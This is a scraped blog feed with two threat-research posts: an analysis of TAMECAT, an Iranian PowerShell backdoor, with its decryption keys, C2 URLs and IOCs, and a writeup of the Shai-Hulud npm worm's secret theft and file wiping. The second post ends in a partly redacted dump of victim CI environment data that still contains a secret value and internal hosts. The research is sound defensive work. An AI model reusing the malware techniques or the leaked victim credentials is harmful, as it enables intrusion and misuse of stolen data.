❌

Visualização normal

Antes de ontemPulsedive Blog
  • ✇Pulsedive Blog
  • TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor Pulsedive Threat Research
    💡Artifacts from our analysis are available on our GitHub.TAMECAT is a PowerShell-based malware that can execute various commands to collect sensitive information. Reporting from the Israel National Digital Agency dives into the modular nature of the TAMECAT and its functionality. The malware is used by APT42, an Iranian state-sponsored cyber-espionage actor, during its espionage operations. Reporting from Israel indicates that TAMECAT was observed being deployed in espionage campaigns targeting
     

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor

29 de Janeiro de 2026, 10:45
💡
Artifacts from our analysis are available on our GitHub.
TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor

TAMECAT is a PowerShell-based malware that can execute various commands to collect sensitive information. Reporting from the Israel National Digital Agency dives into the modular nature of the TAMECAT and its functionality. The malware is used by APT42, an Iranian state-sponsored cyber-espionage actor, during its espionage operations. Reporting from Israel indicates that TAMECAT was observed being deployed in espionage campaigns targeting high-value senior defense and government officials. The group leverages social engineering to build rapport with victims over an extended period before gaining access to their environments. This blog will outline TAMECAT’s capabilities and how it exfiltrates data. 

This overview includes:

  • Malware Analysis
  • Recommendations
  • Indicators of Compromise
  • MITRE ATT&CK TTPs

Israel’s National Digital Agency shared a breakdown of the in-memory modules available with TAMECAT. This included the ability to extract data from Microsoft Edge using remote debugging, screen captures, and suspending Chrome for data collection. 

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 1: Details Of TAMECAT's capabilities. Source: Israel National Defense Agency

In the analysis, the researchers noted that the malware received commands from a Telegram bot. The malware used messages from the bot to download additional scripts. 

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 2: Domains observed by Israel's National Defense Agency. Source: Israel National Defense Agency

Malware Analysis

The intrusion sample that we analyze in this blog starts with a VBScript script that downloads TAMECAT’s first stage. This script checks which antivirus products are running on the system. This check determines whether the script uses conhost and PowerShell or cmd.exe and curl to download the second stage. The sample used in this analysis is available on VirusTotal.

SHA256

5404e39f2f175a0fc993513ee52be3679a64c69c79e32caa656fbb7645965422

SHA1

3fd06c930ddc4b1914151f69454c087a42413a24

MD5

d7bf138d1aa2b70d6204a2f3c3bc72a7

ssdeep

24:W/AnDhKaG2Ds6w8NlrZ5OGPeAbqf+PvENPB3B3CNdHPdYqf+PveBE:YghhG2D68NVfOGPLZvEN9hUhOveE

File Size

1.25 KB

File Type

VBA

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 3: VBScript used to download TAMECAT.

When the VBScript file is executed, it uses WMI to retrieve a list of installed antivirus products on the host. The returned list is then used to determine which scripting interpreter is used to download the second stage. If the antivirus list contains “indows”, the VBScript uses conhost to launch PowerShell. The PowerShell script uses wget to download the loader TAMECAT (081419a484bbf99f278ce636d445b9d8). Once the file is downloaded, the script is executed using PowerShell. The script uses an obfuscated command to execute the downloaded PowerShell Script. 

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 4: Code used to launch PowerShell and download TAMECAT.
TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 5: Obfuscated Invoke-Expression command.

This obfuscated command decodes as the following:

Obfuscated Command

Deobfuscated Command

gcm

Get-Command

*e-e?p*

Invoke-Expression

If the antivirus list does not contain Windows, then the VBScript uses cmd.exe and curl to download another piece of malware. At the time of analysis, the link was down, so the payload could not be analyzed.

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 6: If the computer does not contain Windows within the AV list, it uses curl to download a secondary payload.

Nconf.txt (TAMECAT PowerShell Loader)

This is the TAMECAT loader that was hosted on tebi[.]io. This script contains several variables containing arrays of values, as well as two functions. The functions are used to decode data and execute additional code. The sample is available on Triage and VirusTotal. 

SHA256

bd1f0fb085c486e97d82b6e8acb3977497c59c3ac79f973f96c395e7f0ca97f8

SHA1

0ef4f7a8d7b1d34e10faa0bca1dcb76a518dd417

MD5

081419a484bbf99f278ce636d445b9d8

ssdeep

192:ENampkg6c3iKtzYC4+HxeycEUj/Pv9w7EczGRThbD5eROPURDcEaoY62DFRWJCXu:Ia8h3BKDWx2lszGN5DeOPURwvoX2RRY

File Size

10.34 KB

File Type

PowerShell

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 7: Code of the nconf.txt.
TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 8: Functions within nconf.txt PowerShell Script.

The Gorba function defines two parameters called $te12 and $k12ey. The values of these parameters are defined at the end of the script and are shown in the table below.

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 9: AES encrypted code within nconf.txt.

Parameter

Value

$te12

v+UDXK47mBGgYqTbOXjXVD6MzhZenTfVf6CKxQFp2+AiPHMvmA2a4IiBz4rOi8ffxWdXFtrPk6UABw1b6oBPsW1VV/HNU0mf8jH7xsoBAHY5Sp6vdYc7WGZ6SYO72KIH/hOyBlS5wc7Y86wJR9naW+0nINCYZV6RyD5t/fDpqEoRYW6dHwoebLECkEck/N5C1jhlFHaoS51QKSfgraHI5iRiT6pfpqUNeJHbYz3VYuo/j2FZ6f5BCJgXoHKPmf4pUSwSZH0qQSa98blmdAH+tG7jc3AUE76IHx4xkzxAldO/4b97duoI6rm+Ucy3rRHHrVnPQ0TvvTvudD/LDBwn3DkNcKSTDvEQDwIgni/MU7BOwklcE1+qQjabXTGr+CrL0c53dNA4OGNYkBAnLokjcoNxKmxbCSK3oSdFEz2+htgPMOjq14IGoPSOWcPX2CVK

$k12ey

T2r0y1M1e1n1o0w1

The value stored in the $k12ey parameters is the same one identified by Volexity in a variant of PowerStar. The Yara rule shared by Volexity closely matches the commands observed in this analysis. 

From there, the script attempts to download the next stage of TAMECAT from a base64-encoded URL. The PowerShell script uses a hardcoded user-agent within the network traffic. The script uses the downstring command to retrieve text from tebi[.]io. The URL is base64-encoded in the script, and before it is decoded, the script drops the first 3 bytes of the encoded string. The file attempts to download text within a file called df32s.txt, which holds base64-encoded content.

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 9: The encoded URL stored within the PowerShell file.

User-Agent

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 10: Content hosted on the encoded URL.
TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 11: Data manipulation code used to transform the encoded data.

The script base64-decodes the file's contents and then performs the following actions on each byte:

  • Perform a bitwise not on each bit and convert to base2 
  • Convert to a string and extract 8 characters starting from the 24th character
  • Convert to Byte

Once this manipulation is complete, the script converts the bytes to a UTF-8-Encoded string.

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 12: The decoded Borjol function.

The decoded content reveals an additional function that is executed with the value stored in $te12. This function defines an AES decryptor used to decrypt the value stored in $te12 after it is base64-decoded.

AES Settings

Value

Block Size

128

Key Size

256

Key

kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B

IV

0T9r1y1M2e0N0o1w

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 13: Decrypted data from Figure 9.

This decoded string is passed to the Borjol function.

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 14: Decoded content from Figure 13.

This decrypted data contains functions that manipulate data in the following ways.

Function Name

Description

Borjoly

Decodes base64-encodes data and then decrypts it using AES

Borpos

Encrypts data using AES

x

Converts a base64-encoded character and encodes it into a UTF8-encoded string

xs

Generates a random 16-character string

The PowerShell script uses these functions to manipulate data while attempting to exfiltrate it. The script writes an alphanumeric string, which Google believes to be a victim identifier to %LocalAppData%\config.txt.

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 15: Unique identifier being stored within config.txt.

The script then creates a new directory called Chrome in %LocalAppData%. From there, the script defines the SessionUrl, the hostname used for network communication. The value for this parameter is a hxxps://accurate-sprout-porpoise[.]glitch[.]me, which was defined as a global parameter in the function Borjol.

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 16: Code used to define the SessionUrl using parameters from the Borjol function.

From there, the script collects details about the operating system, including:

  • OS
  • ComputerName
  • Token (GILNH9LX6TCZ9V8ZZSUF) - the value specified in the $configtxt parameter.

This data is then passed to the Borpos function for encryption before being exfiltrated via a POST request to the domain hxxps://accurate-sprout-porpoise[.]glitch[.]me. The key is the value kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B, while the initialization vector is created using the xs function. The script also adds the header Content-DPR, which stores the IV value.

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 17: Code of the Borpos function.

function xs() {

    return  - join ((65..90)  +  (97..122) | Get - Random  - Count 16 | % {

        [char]$_

    }


    )

}

The malware then waits for the C2’s response. If the status code is not 400 and the response is not empty, then the script calls the Borjoly function to decode the response from the C2. The data is separated by ¶ and contains the following four values:

  • language
  • Command
  • ThreadName
  • StartStop
TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 18: Code of the Borjoly function.

The command is in base64-encoded format. Google identified that the $Language parameter will be used to execute either PowerShell or C# code, and the $StartStop will be used to download additional content, execute, or terminate a command. 

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor
Figure 19: Code that is run based on the response from the C2 server.

Conclusion

TAMECAT is a PowerShell-based malware used by APT42 during its espionage campaigns. It has gone through several iterations, with different variants sharing several similarities. These similarities include the use of Base64-Encoded strings within arrays, the use of array fragments to generate code, and PowerShell string replacement and wildcards. The developers behind TAMECAT have also been observed using platforms such as Discord and Telegram as C2 channels. 

TAMECAT - Analysis of an Iranian PowerShell-Based Backdoor

Recommendations

Methods to mitigate the risks posed by malware, such as TAMECAT, include:

  • Deploy EDR/AV solutions: EDR or AV solutions can detect malicious process chains and anomalous activity that may indicate a malware infection.
  • Monitor for wscript launching other scripting interpreters: VBS scripting launching PowerShell or cmd.exe is often suspicious.
  • Expand PowerShell logging: Consider enabling script-block logging to ensure security analysts can see the contents of scripts that were executed.
  • Secure PowerShell in Corporate Environments: Organizations can enforce script execution policies that allow only signed scripts to run. Moreover, PowerShell usage should be restricted to users who need to use it.
  • User Education: Users can help mitigate the risk of phishing emails and targeted social engineering campaigns. Users should also be wary of unsolicited attachments or senders that pressure them to open attachments or download files.
💡
The Australian Signals Directorate has released guidance on Securing PowerShell in the enterprise.

Indicators of Compromise

The table below lists TAMECAT network IOCsthat have been identified and added to the Pulsedive platform. This data can be queried in Pulsedive using the Explore query threat=TAMECAT and is available for export in multiple formats (CSV, STIX 2.1, JSON).

TAMECAT  IOCs

hxxps[://]s3[.]tebi[.]io/icestorage/config/nconf[.]txt

hxxps[://]s3[.]tebi[.]io/icestorage/df32s[.]txt

hxxps://accurate-sprout-porpoise[.]glitch[.]me

MITRE ATT&CK TTPs

Technique

Tactic

Command and Control

Application Layer Protocol: Web Protocols (T1071.001)

Data Encoding: Standard Encoding (T1132.001)

Ingress Tool Transfer (T1105)

Encrypted Channel: Symmetric Cryptography (T1573.001)

Defense Evasion

Deobfuscate/Decode Files or Information (T1140)

Obfuscated Files or Information: Encrypted/Encoded (T1027.013)

Discovery

Software Discovery: Security Software Discovery (T1518.001)

System Information Discovery (T1082)

Execution

User Execution: Malicious File (T1204.002)

Windows Management Instrumentation (T1047)

Command and Scripting Interpreter: PowerShell (T1059.001)

Command and Scripting Interpreter: Windows Command Shell (T1059.003)

Command and Scripting Interpreter: Visual Basic (1059.005)

Exfiltration

Exfiltration Over C2 Channel (T1041)

References

https://govextra.gov.il/national-digital-agency/cyber/research/spearspecter/

https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations 

https://apt.etda.or.th/cgi-bin/listgroups.cgi?t=TAMECAT&n=1 

https://attack.mitre.org/software/S1193/ 

https://www.virustotal.com/gui/file/5404e39f2f175a0fc993513ee52be3679a64c69c79e32caa656fbb7645965422/details 

https://tria.ge/240814-t493jsscke/static1

https://www.virustotal.com/gui/file/bd1f0fb085c486e97d82b6e8acb3977497c59c3ac79f973f96c395e7f0ca97f8/detection

https://github.com/volexity/threat-intel/blob/main/2023/2023-06-28%20POWERSTAR/indicators/rules.yar

https://www.cyber.gov.au/sites/default/files/2025-03/Securing%20PowerShell%20in%20the%20enterprise%20%28October%202021%29.pdf

  • ✇Pulsedive Blog
  • Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise Pulsedive Threat Research
    💡For our previous blog on Shai-Hulud, please click here.💡Artifacts from this blog are available within our GitHub Repository.On November 24, 2025, multiple security vendors reported a new Shai-Hulud campaign that compromised several popular npm packages. The compromised packages include those from Zapier, ENS Domains, PostHog, and Postman. Researchers from Wiz identified that the earliest evidence of malicious npm packages being added to npm is from around 03:00 UTC on November 24th, 2025. The c
     

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise

26 de Novembro de 2025, 09:45
💡
For our previous blog on Shai-Hulud, please click here.
💡
Artifacts from this blog are available within our GitHub Repository.
Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise

On November 24, 2025, multiple security vendors reported a new Shai-Hulud campaign that compromised several popular npm packages. The compromised packages include those from Zapier, ENS Domains, PostHog, and Postman. Researchers from Wiz identified that the earliest evidence of malicious npm packages being added to npm is from around 03:00 UTC on November 24th, 2025. The compromise results in a GitHub repository containing stolen information. GitHub has been removing repositories; however, as of 15:00 EST on November 25, 2025, some remain accessible.

ℹ️
A detailed timeline of events can be found in this Wiz blog.

https://t.co/wljoG10P3o

— Amjad Masad (@amasad) November 24, 2025

This blog will walk through the malicious code present in the second iteration of the Shai-Hulud compromise. 

How Does the Compromise Work?

The malicious versions of the NPM packages contained two files called setup_bun.js and bun_environment.js. These were made to look like the package was introducing the Bun runtime, which is a JavaScript runtime environment, package manager, and test runner. According to researchers at HelixGuard, the setup_bun.js file contains code that masquerades as Bun setup code and invokes the bun_environment.js file.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 1: Content of setup_bun.js. Source: HelixGuard

The bun_environment.js file is an obfuscated JavaScript file, around 10 MB in size, that contains code for collecting secrets and exfiltrating information.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 2: File size of bun_environment.js
Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 3: Content of bun_environment.js

The malicious code attempts to add workflows to the infected machines. One such workflow is .github/workflows/discussion.yaml, which executes commands by opening a discussion in the GitHub repo.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 4: Content of discussion.yaml.

The malicious code collects information about the system and collects secrets from AWS, GCP, and Azure.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 5: References to system checks and cloud secret collections in bun_environment.js.

The collected content is double base64-encoded before being added to the public GitHub repo. Reporting from socket.dev states that the exfiltrated content was triple base64-encoded and that some repositories also contained a file called actionSecrets.json. This file was not present in the repositories we reviewed, but scanners for Sha1-Hulud reference it.

Propagation is similar to that seen in the first campaign. Once the worm identifies a valid NPM token, it fetches the maintainer’s package (limited to 100 packages) and updates each package using the updatePackage() function.

The updatePackage() function adds the setup_bun.js and bun_environment.js files to the package, updates the package.json file to add the preinstall script, and increments the patch version before publishing the compromised version.

Socket.dev also reported on the destructive capabilities of the worm. If the worm cannot find a GitHub token or an NPM token, it attempts to delete files. For Windows environments, the worm uses cmd.exe to delete all files in %USERPROFILE% (the current user’s profile directory) and overwrites the free space using the cipher /w command. This command overwrites deleted data in a drive's free space, making it unrecoverable.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 6: File Deletion Code. Source: socket.dev

In Linux or macOS environments, the worm finds all of a user’s writable files and overwrites them with the shred command before deleting the empty directories.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 7: Linux man page for the shred command. Source: Linux

Scope of Compromise

The worm creates a GitHub repository with the description Sha1-Hulud: The Second Coming. These repositories contain exfiltrated data. As of 19:45 EST on November 24, 2025, approximately 22,600 GitHub repositories had the description Sha1-Hulud: The Second Coming.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 8: Search results on GitHub for repositories containing the phrase Sha1-Hulud: The Second Coming

Each of these repositories contain .json files with base64-encoded data. The files included in the repository are:

  • cloud.json
  • contents.json
  • environment.json

Some repositories also had a file called truffleSecrets.json.

Exfiltrated Information

cloud.json

The cloud.json file contains any secrets extracted from AWS, GCP, and Azure. The content is double base64-encoded, and the decoded text is a JSON object.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 9: Decoded content of the cloud.json file.

contents.json

The contents.json file contains information about the system, including operating system, architecture, user details, and GitHub account details. The content is double base64-encoded, and the decoded text is a JSON object.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 10: Decoded content of the contents.json file.

environment.json

The environment.json file contains build information. The content is double base64-encoded, and the decoded text is a JSON object.

Return of Shai-Hulud: The “Second Coming” of the NPM Supply Chain Compromise
Figure 11: Decoded content of the environment.json file.
{
  "environment": {
    "SHELL": "/bin/bash",
    "npm_command": "install",
    "REPOSOLNS_HELM_RELEASE_REPO": "https://helm.ci.artifacts.walmart.com/artifactory/ret-marketplace-helm-prod-local",
    "LOOPER_TARGET_BRANCH": "AGAction",
    "TASK_LOG_SIZE_LIMIT": "500000000",
    "LOOPER_SCM_OWNER_ID": "RET-Marketplace",
    "ak_Password": "<redacted>",
    "npm_package_dev_optional": "",
    "npm_config_loglevel": "verbose",
    "GITHUB_BRANCH_SHORT_DESC": "GitHub branch AGAction: Branch build",
    "no_proxy": ".us.wal-mart.com,localhost,127.0.0.1,dev.walmart.com,cdn.cocoapods.org,*-keystone-endpoint.prod.walmart.com,cdn.jsdelivr.net,slack.com,*.blob.core.windows.net,mockDeliveryUrl,ondemand.saucelabs.com,jira.walmart.com*.prod.us.walmart.net,*.googleapis.com,euclid.azurecr.io,*xmatters.com,sandbox-cluboperations-claims.azurewebsites.net,accounts.google.com,usgta*.wal-mart.com,metadata.google.*,cloud.google.com,ossindex.sonatype.org,*.azure-api.net,*dev-transpo-fresh-pullforward-aggregator.azurewebsites.net/actuator/health,*samsclub.riversand.com*,sb.scorecardresearch.com,i.imgur.com,kafka-local-landoop,mock-server,vault,postgresql,active-mq,phonehome.hazelcast.com,*.azurewebsites.net,login.microsoftonline.com,dc.services.visualstudio.com,marketplace.walmartapis.com,*.saucelabs.com,blob.core.windows.net,file.appcenter.ms,testburst.walmart.com,tnest.walmart.com,gcr.io",
    "ALLOW_NUGET_PUSH_TO_AF": "true",
    "TRACK": "walmartUS",
    "RUN_TESTS_DISPLAY_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/job/Feature-MultiBranch-PWT/job/AGAction/22/display/redirect?page=tests",
    "REPOSOLNS_GENERIC_REPO": "https://generic.ci.artifacts.walmart.com/artifactory/ret-marketplace-generic",
    "REPOSOLNS_PYPI_REPO": "https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi/ret-marketplace-pypi",
    "LOOPER_SLAVE": "<redacted>pro-prod-agent110-17",
    "GITHUB_REPO_GIT_URL": "git://gecgithub01.walmart.com/RET-Marketplace/mp-coee-pwt.git",
    "REPOSOLNS_PYPI_RELEASE_REPO": "https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi/ret-marketplace-pypi-prod-local",
    "npm_package_integrity": "sha512-8tLdJQAFOYmmAkXI5ADBsNz+qbB4HbkKcPSREn3Fl11SAH9ogM6j7qd7q4XUp4lY/Re47PXEN3XJKXDKOivIDg==",
    "server": "runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com",
    "REPOSOLNS_NPM_BASEURL": "https://npm.ci.artifacts.walmart.com/artifactory/api/npm",
    "NPM_CONFIG_CACHE": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/.npm",
    "NODE": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0/bin/node",
    "JENKINS_SERVER_COOKIE": "cad2bf9e97974601",
    "JAVA_HOME": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/jdk-1.8.0_161-b12",
    "GITHUB_REPO_SSH_URL": "git@gecgithub01.walmart.com:RET-Marketplace/mp-coee-pwt.git",
    "Timeout": "360000",
    "NODE_EXTRA_CA_CERTS": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0/var/work/proxy-cacerts.pem",
    "REPOSOLNS_SBT_SNAPSHOT_REPO": "https://sbt.ci.artifacts.walmart.com/artifactory/ret-marketplace-sbt-snapshots-local",
    "TRIGGER_TARGET_BRANCH": "AGAction",
    "PROVENANCE_CACERT_PEM": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0/var/work/proxy-cacerts.pem",
    "PROXIMITY_MVN_RELEASE": "https://repository.walmart.com/content/groups/public/",
    "RUN_CHANGES_DISPLAY_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/job/Feature-MultiBranch-PWT/job/AGAction/22/display/redirect?page=changes",
    "COLOR": "0",
    "npm_config_local_prefix": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws",
    "LOOPER_EXECUTOR": "0",
    "REPOSOLNS_NPM_SNAPSHOT_REPO": "https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm",
    "PROVENANCE_HOSTNAME": "agent-17-2154463403.<redacted>pro-prod-agent110.edc02.prod.walmart.com",
    "NPM_CONFIG_REGISTRY": "https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm/",
    "npm_config_globalconfig": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0/globalconfig",
    "REPOSOLNS_MVN_REPO": "https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn",
    "REPOSOLNS_DOCKER_REPONAME": "ret-marketplace-docker",
    "EDITOR": "vi",
    "REPOSOLNS_MVN_SNAPSHOT_REPO": "https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn-snapshots-local",
    "ENV": "qa",
    "MART_UPPER": "",
    "HUDSON_HOME": "/<redacted>/<redacted>-workspace",
    "PWD": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws/node_modules/@postman/tunnel-agent",
    "LOGNAME": "<redacted>",
    "NODEJS_HOME": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0",
    "GIT_SSL_CAINFO1": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0/var/work/proxy-cacerts.pem",
    "PROXIMITY_MVN_SNAPSHOT": "https://repository.walmart.com/content/groups/public_snapshots/",
    "BUILD_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/job/Feature-MultiBranch-PWT/job/AGAction/22/",
    "SLACK_CHANNEL": "",
    "ALLOW_NPM_PUSH_TO_AF": "true",
    "PROVENANCE_HOME": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/provenance-0.44.0",
    "NPM_HOME": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/npm-10.7.0",
    "GITHUB_BRANCH_URL": "https://gecgithub01.walmart.com/RET-Marketplace/mp-coee-pwt",
    "REPOSOLNS_DOCKER_SNAPSHOT_REPONAME": "ret-marketplace-docker-snapshots-local",
    "JOB_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/job/Feature-MultiBranch-PWT/job/AGAction/",
    "npm_package_dev": "",
    "npm_config_init_module": "/mnt/<redacted>/.npm-init.js",
    "BUILD_NUMBER": "22",
    "SYSTEMD_EXEC_PID": "2414440",
    "GIT_COMMITTER_NAME": "SVC-ciad-prod1",
    "ALLOW_ARTIFACTORY": "true",
    "LOOPER_AGENT_LABELS": "ASSEMBLY-<redacted>pro-prod-agent110, CLOUD-prod-edc02, docker-daemon, linux, <redacted>pro-prod-agent110, <redacted>pro-prod-agent110-17",
    "_": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/tools/nix_64/nodejs-22.1.0/bin/node",
    "PROXIMITY_MVN_REPO": "https://repository.walmart.com/content/groups/public",
    "REPOSOLNS_SBT_REPO": "https://sbt.ci.artifacts.walmart.com/artifactory/ret-marketplace-sbt",
    "REPOSOLNS_PYPI_SNAPSHOT_REPO": "https://pypi.ci.artifacts.walmart.com/artifactory/api/pypi/ret-marketplace-pypi-snapshots-local",
    "LOOPER_AGENT": "<redacted>pro-prod-agent110-17",
    "MAIL_TO": "",
    "BUILD_DISPLAY_NAME": "#22",
    "HOME": "/mnt/<redacted>",
    "npm_package_peer": "",
    "LANG": "en-US",
    "REPOSOLNS_SBT_RELEASE_REPO": "https://sbt.ci.artifacts.walmart.com/artifactory/ret-marketplace-sbt-prod-local",
    "WORKDIR": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws",
    "DataProvider": "false",
    "TRIM_TASK_LOG": "false",
    "TRIGGER_BRANCH": "AGAction",
    "npm_package_version": "0.6.7",
    "LOOPER_SLAVE_LABELS": "ASSEMBLY-<redacted>pro-prod-agent110, CLOUD-prod-edc02, docker-daemon, linux, <redacted>pro-prod-agent110, <redacted>pro-prod-agent110-17",
    "REPOSOLNS_VIRTUAL_DEFAULT_DEPLOYMENT": "-prod-local",
    "REPOSOLNS_DOCKER_RELEASE_REPONAME": "ret-marketplace-docker-prod-local",
    "LOOPER_TRIGGER": "USER",
    "REPOSOLNS_NPM_RELEASE_REPO": "https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm-prod-local",
    "SEND_SLACK": "false",
    "REPOSOLNS_FQDN_CI": "ci.artifacts.walmart.com",
    "npm_config_proxy": "http://10.167.213.150:43754",
    "JENKINS_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/",
    "npm_package_resolved": "https://npm.ci.artifacts.walmart.com:443/artifactory/api/npm/ret-marketplace-npm/@postman/tunnel-agent/-/tunnel-agent-0.6.7.tgz",
    "JOB_BASE_NAME": "AGAction",
    "GITHUB_BRANCH_CAUSE_SKIP": "false",
    "REPOSOLNS_DOCKER_SERVER": "docker.ci.artifacts.walmart.com",
    "REPOSOLNS_SCALA_REPO": "https://sbt.ci.artifacts.walmart.com/artifactory/ret-marketplace-sbt",
    "https_proxy": "http://10.167.213.150:43754",
    "JOB_NAME": "Feature-MultiBranch-PWT/AGAction",
    "IS_ENV_PREPPED": "true",
    "REPOSOLNS_MVN_RELEASE": "https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn",
    "LOOPER_SONAR_TEST_URL": "https://sonar<redacted>producer.walmart.com/<redacted>-sonar-results",
    "INVOCATION_ID": "f834301562964d4eba8eb58e8204315f",
    "RUN_DISPLAY_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/job/Feature-MultiBranch-PWT/job/AGAction/22/display/redirect",
    "CHROMEDRIVER_CDNURL": "http://gec-maven-nexus.walmart.com/nexus/repository/googleapis-storage/chromedriver",
    "REPOSOLNS_NPM_REPO": "https://npm.ci.artifacts.walmart.com/artifactory/api/npm/ret-marketplace-npm",
    "LOOPER_SCM_URL": "https://gecgithub01.walmart.com/RET-Marketplace/mp-coee-pwt.git",
    "GIT_AUTHOR_EMAIL": "SVC-ciad-prod1@walmart.com",
    "REPOSOLNS_MVN_SNAPSHOT": "https://mvn.ci.artifacts.walmart.com/artifactory/ret-marketplace-mvn-snapshots-local",
    "LOOPER_FLOW": "init",
    "secret": "dde38c953e6fe119ebde4be3321ee547038ec555c4e9e5e9cc30b9a309a59383",
    "LOOPER_FLOW_TYPE": "BRANCH",
    "REPOSOLNS_GENERIC_SNAPSHOT_REPO": "https://generic.ci.artifacts.walmart.com/artifactory/ret-marketplace-generic-snapshots-local",
    "Project": "feature",
    "GITHUB_BRANCH_TITLE": "",
    "JOB_DISPLAY_URL": "https://runner-1-2175078775.<redacted>pro-prod-runner02.prod-ndc23.prod.walmart.com/job/Feature-MultiBranch-PWT/job/AGAction/display/redirect",
    "INIT_CWD": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws",
    "reposolnsPrepEnvStepOptions": "{{maxRetries = 3, timeout = 10, waitTime = 3, afUrl = 'https://ci.artifacts.walmart.com/artifactory/api/plugins/execute/EnvVariablesMap?params=org=_{LOOPER_SCM_OWNER_ID.toLowerCase()};type=properties'}}",
    "reposolnsUsername": "reposolns",
    "WORKSPACE": "/mnt/<redacted>/workspace/Feature-MultiBranch-PWT/AGAction/ws",
    "npm_lifecycle_script": "node setup_bun.js",
    "LOOPER_JOB_TYPE": "multibranch",
    "LOOPER_YAML_LOCATION": ".<redacted>Feature.yml",
    "GIT_PREVIOUS_COMMIT": "5595cbd56d1df1f15d859f5535d5c157f26b81df",
